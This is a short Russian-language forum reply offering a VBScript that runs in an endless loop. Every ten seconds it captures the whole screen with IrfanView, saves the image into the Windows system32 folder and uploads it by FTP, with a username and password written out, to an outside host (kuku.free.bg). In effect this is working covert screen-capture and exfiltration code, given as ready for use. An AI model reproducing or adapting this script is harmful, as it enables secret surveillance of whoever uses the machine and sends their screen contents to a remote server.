Вставил указанную команду в цикл. Вам это требовалось?
Код:
Set WSHshell = WScript.CreateObject("WScript.Shell")
Do While True
wscript.sleep 10000
irfan = "C:\WINDOWS\system32\i_view32.exe"
irfan_options = "/capture=0 /resize=(100p,100p) /convert="
scr_file = "C:\WINDOWS\system32\screen.jpg"
cmd = """" & irfan & """ " & irfan_options & scr_file
WshShell.Run cmd, 1, true
cmd = "wput -q -u -nc ""C:\WINDOWS\system32\screen.jpg"" ftp://kuku.free.bg:123456@kuku.free.bg/kuku/screen.jpg"
WshShell.Run cmd, 1, true
loop
